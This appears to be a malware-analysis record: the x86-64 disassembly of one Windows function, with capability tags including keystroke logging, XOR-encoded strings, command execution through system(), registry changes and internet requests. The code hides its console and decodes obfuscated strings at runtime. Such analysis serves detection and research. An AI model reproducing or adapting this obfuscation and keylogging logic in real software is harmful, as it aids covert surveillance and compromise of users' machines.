Function at 0x1402b8c40
Capabilities:
Create http request
Create process on windows
Encode data using xor
Execute command
Get common file path
Get disk information
Log keystrokes via polling
Query or enumerate registry value
Read data from internet
Receive data
Set console window title
Set registry value
Terminate process

Disassembly:
push rbp
push r12
push r15
lea rbp, [rsp - 0x3b50]
mov eax, 0x3c50
call fcn.1403b5850
sub rsp, rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
lea edx, [r12 + 5]
call qword [sym.imp.USER32.dll_ShowWindow]
movzx eax, byte [0x1403f1fe0]
lea rcx, [rbp - 0x30]
movsd xmm0, qword [str.PLIE]
xor al, 0x41
movsd qword [rbp - 0x30], xmm0
xor byte [rbp - 0x2f], 0x3a
xor byte [rbp - 0x2e], 0x3b
xor byte [rbp - 0x2d], 0x3c
xor byte [rbp - 0x2c], 0x3d
xor byte [rbp - 0x2b], 0x3e
xor byte [rbp - 0x2a], 0x3f
xor byte [rbp - 0x29], 0x40
mov byte [rbp - 0x28], al
mov byte [rbp - 0x30], 0x69
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
cmp byte [reloc.WLDAP32.dll_Ordinal_60], r12b
mov eax, dword [0x1403f28a0]
mov r15d, dword [reloc.WS2_32.dll_accept]
mov dword [rsp + 0x64], eax
je 0x1402b8da4
cmp r15d, 2
jl 0x1402b8d5f
movdqa xmm3, xmmword [0x1403f45a0]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1403f4810]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1403f4810]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1403f4680]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x64], xmm2
jmp 0x1402b8da4
lea r9, [rsp + 0x64]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x1402b8d70
lea rcx, [rsp + 0x64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1402b7be0]
lea rcx, [rbp + 0x50]
call fcn.1402c8c80
lea rcx, [rbp + 0x50]
call fcn.140044be0
cmp dword [rbp + 0x58], r12d
je 0x1402b8dd5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov qword [rsp + 0x3c70], rbx
mov ecx, 0xbb8
mov qword [rsp + 0x3c48], r13
movaps xmmword [rsp + 0x3c30], xmm6
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x1080]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rcx, [rbp + 0x1080]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 1
jbe 0x1402b9174
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp - 6]
mov byte [rsp + 0x63], r12b
lea rcx, [rsp + 0x63]
call fcn.1402c5890
mov rbx, rax
cmp byte [rax + 0xb], r12b
je 0x1402b8fa4
mov r13d, r12d
cmp r15d, 2
jl 0x1402b8f5d
movdqa xmm2, xmmword [0x1403f45a0]
mov r13d, 8
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rax]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1403f4680]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rax], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rax + 4]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1403f4680]
xorps xmm2, xmm0
movd dword [rax + 4], xmm2
movsxd r8, r13d
add r8, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r13b
inc r13d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r13d, 0xc
jl 0x1402b8f70
lea rdx, [rbp + 0xbe0]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
call fcn.1402c57e0
mov r10, rax
cmp byte [rax + 0xe6], r12b
je 0x1402b9157
cmp r15d, 2
jl 0x1402b9117
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r12d
lea eax, [r12 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r12d, 8
pmuldq xmm1, xmm4
mov eax, r12d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r12d, 0xe0
jl 0x1402b9000
cmp eax, 0xe7
jge 0x1402b9157
movsxd r8, r12d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r12b
inc r12d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r12d, 0xe7
jl 0x1402b9120
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [0x1403f2190]
mov r8d, r12d
movups xmm1, xmmword [0x1403f21a0]
movzx eax, word [0x1403f2208]
mov qword [rsp + 0x3c78], rsi
mov qword [rsp + 0x3c80], rdi
mov qword [rsp + 0x3c40], r14
mov word [rbp + 0x3f8], ax
movups xmmword [rbp + 0x380], xmm0
movups xmm0, xmmword [0x1403f21b0]
movups xmmword [rbp + 0x3a0], xmm0
movups xmm0, xmmword [0x1403f21d0]
movups xmmword [rbp + 0x3c0], xmm0
movups xmm0, xmmword [0x1403f21f0]
movups xmmword [rbp + 0x390], xmm1
movups xmm1, xmmword [0x1403f21c0]
movups xmmword [rbp + 0x3e0], xmm0
movsd xmm0, qword [0x1403f2200]
movsd qword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x3b0], xmm1
movups xmm1, xmmword [0x1403f21e0]
movups xmmword [rbp + 0x3d0], xmm1
cmp r15d, 2
jl 0x1402b935f
movdqa xmm0, xmmword [0x1403f4680]
lea rcx, [rbp + 0x384]
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x78
jl 0x1402b9250
cmp r8d, 0x7a
jge 0x1402b93a4
movsxd rax, r8d
lea r9, [rbp + 0x380]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x7a
jl 0x1402b9370
mov eax, dword [str.M_HH]
lea rcx, [rbp + 0x340]
movzx edx, byte [rsp + 0x68]
mov dword [rbp - 0x74], eax
movzx eax, byte [0x1403f2418]
xor byte [rbp - 0x73], 0x3a
xor al, 0x3d
xor byte [rbp - 0x72], 0x3b
xor byte [rbp - 0x71], 0x3c
mov byte [rbp - 0x70], al
mov byte [rbp - reloc.WS2_32.dll_WSACleanup], 0x74
call fcn.1402c8820
mov rbx, 0xffffffffffffffff
lea rax, [rbp - 0x74]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x1402b93f0
lea rdx, [rbp - 0x74]
lea rcx, [rbp + 0x340]
call fcn.1402c8840
xor r9d, r9d
mov byte [rsp + 0x28], r12b
mov r8b, 1
mov byte [rsp + 0x20], 1
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x340]
call fcn.1402e1f30
cmp byte [0x1403f2619], r12b
movsd xmm0, qword [0x1403f2610]
movzx eax, word [0x1403f2618]
movsd qword [rbp - 0x80], xmm0
mov word [rbp - 0x78], ax
je 0x1402b9475
xor byte [rbp - 0x7f], 0x3a
xor byte [rbp - 0x7e], 0x3b
xor byte [rbp - 0x7d], 0x3c
xor byte [rbp - 0x7c], 0x3d
xor byte [rbp - 0x7b], 0x3e
xor byte [rbp - 0x7a], 0x3f
xor byte [rbp - 0x79], 0x40
xor byte [rbp - 0x78], 0x41
xor byte [rbp - 0x77], 0x42
mov byte [rbp - 0x80], 0x69
movzx edx, byte [rsp + 0x68]
lea rcx, [rbp + 0x510]
call fcn.1402c8820
lea rax, [rbp - 0x80]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x1402b9490
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x510]
call fcn.1402c8840
movzx ecx, word [0x1403f26e8]
movsd xmm0, qword [0x1403f26e0]
movzx eax, byte [0x1403f26ea]
movzx edx, byte [rsp + 0x68]
xor al, 0x43
movsd qword [rbp - 0x80], xmm0
xor byte [rbp - 0x7f], 0x3a
xor byte [rbp - 0x7e], 0x3b
xor byte [rbp - 0x7d], 0x3c
xor byte [rbp - 0x7c], 0x3d
xor byte [rbp - 0x7b], 0x3e
xor byte [rbp - 0x7a], 0x3f
xor byte [rbp - 0x79], 0x40
mov word [rbp - 0x78], cx
xor cl, 0x41
xor byte [rbp - 0x77], 0x42
mov byte [rbp - 0x78], cl
lea rcx, [rbp + 0x4f0]
mov byte [rbp - 0x80], Ordinal_79
mov byte [rbp - 0x76], al
call fcn.1402c8820
lea rax, [rbp - 0x80]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x1402b9510
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x4f0]
call fcn.1402c8840
movups xmm0, xmmword [0x1403f1d90]
mov r8d, r12d
movups xmm1, xmmword [0x1403f1da0]
movzx eax, byte [0x1403f1dd0]
mov byte [rbp + 0x3c0], al
movups xmmword [rbp + 0x380], xmm0
movups xmm0, xmmword [0x1403f1db0]
movups xmmword [rbp + 0x390], xmm1
movups xmm1, xmmword [0x1403f1dc0]
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm1
cmp r15d, 2
jl 0x1402b96bf
movdqa xmm0, xmmword [0x1403f4680]
lea rcx, [rbp + 0x384]
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x40
jl 0x1402b95b0
cmp r8d, 0x41
jge 0x1402b9704
movsxd rax, r8d
lea r9, [rbp + 0x380]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x41
jl 0x1402b96d0
movzx edx, byte [rsp + 0x68]
lea rcx, [rbp + 0x4d0]
call fcn.1402c8820
lea rax, [rbp + 0x380]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x1402b9720
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x4d0]
call fcn.1402c8840
cmp byte [reloc.WLDAP32.dll_Ordinal_60], r12b
mov eax, dword [0x1403f25f8]
mov dword [rsp + 0x64], eax
je 0x1402b9824
cmp r15d, 2
jl 0x1402b97df
movdqa xmm3, xmmword [0x1403f45a0]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1403f4810]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1403f4810]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1403f4680]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x64], xmm2
jmp 0x1402b9824
lea r9, [rsp + 0x64]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x1402b97f0
movzx edx, byte [rsp + 0x68]
lea rcx, [rbp + 0x4b0]
call fcn.1402c8820
lea rax, [rsp + 0x64]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x1402b9840
lea rdx, [rsp + 0x64]
lea rcx, [rbp + 0x4b0]
call fcn.1402c8840
movups xmm1, xmmword [0x1403f25e8]
movups xmm0, xmmword [0x1403f25d8]
movups xmmword [rbp + 0x20], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rbp + 0x10], xmm0
test al, al
je 0x1402b9a04
cmp r15d, 2
jl 0x1402b99c9
movdqa xmm0, xmmword [0x1403f4680]
lea rcx, [rbp + 0x14]
movdqa xmm5, xmmword [0x1403f45a0]
mov edx, r12d
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov r8d, dword [rbp - 0x60]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x20
jl 0x1402b98c0
jmp 0x1402b9a04
lea r9, [rbp + 0x10]
mov r8d, r12d
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x1402b99d0
movzx edx, byte [rsp + 0x68]
lea rcx, [rbp + 0x490]
call fcn.1402c8820
lea rax, [rbp + 0x10]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x1402b9a20
mov r8, rbx
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x490]
call fcn.1402c8840
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x340]
call fcn.1402c7d00
lea rdx, [rbp + 0x4b0]
mov r14, rax
lea rcx, [rbp + 0x10]
call fcn.1402c7d00
lea rdx, [rbp + 0x4d0]
mov rsi, rax
lea rcx, [rbp + 0xa30]
call fcn.1402c7d00
lea rdx, [rbp + 0x4f0]
mov rdi, rax
lea rcx, [rbp + 0xa10]
call fcn.1402c7d00
lea rdx, [rbp + 0x510]
mov rbx, rax
lea rcx, [rbp + 0x9f0]
call fcn.1402c7d00
mov r9, rdi
mov qword [rsp + 0x28], r14
mov r8, rbx
mov qword [rsp + 0x20], rsi
mov rdx, rax
lea rcx, [rbp + 0xe00]
call fcn.140044c20
lea rcx, [rbp + 0xe00]
call fcn.14035d0b0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, str.MyApp
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
jne 0x1402b9e41
lea rdx, [rbp - 6]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
call fcn.1402c5890
mov rbx, rax
cmp byte [rax + 0xb], r12b
je 0x1402b9c74
mov r13d, r12d
cmp r15d, 2
jl 0x1402b9c38
movdqa xmm2, xmmword [0x1403f45a0]
mov r13d, 8
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r8, r13d
add r8, rbx
nop
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r13b
inc r13d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r13d, 0xc
jl 0x1402b9c40
lea rdx, [rbp + 0x10]
mov byte [rsp + 0x63], r12b
lea rcx, [rsp + 0x63]
call fcn.1402c58b0
mov r10, rax
cmp byte [rax + 0x1c], r12b
je 0x1402b9e24
cmp r15d, 2
jl 0x1402b9de2
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r12d
lea eax, [r12 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r12d, 8
pmuldq xmm1, xmm4
mov eax, r12d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r12d, 0x18
jl 0x1402b9cd0
cmp eax, 0x1d
jge 0x1402b9e24
movsxd r8, r12d
add r8, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r12b
inc r12d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r12d, 0x1d
jl 0x1402b9df0
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
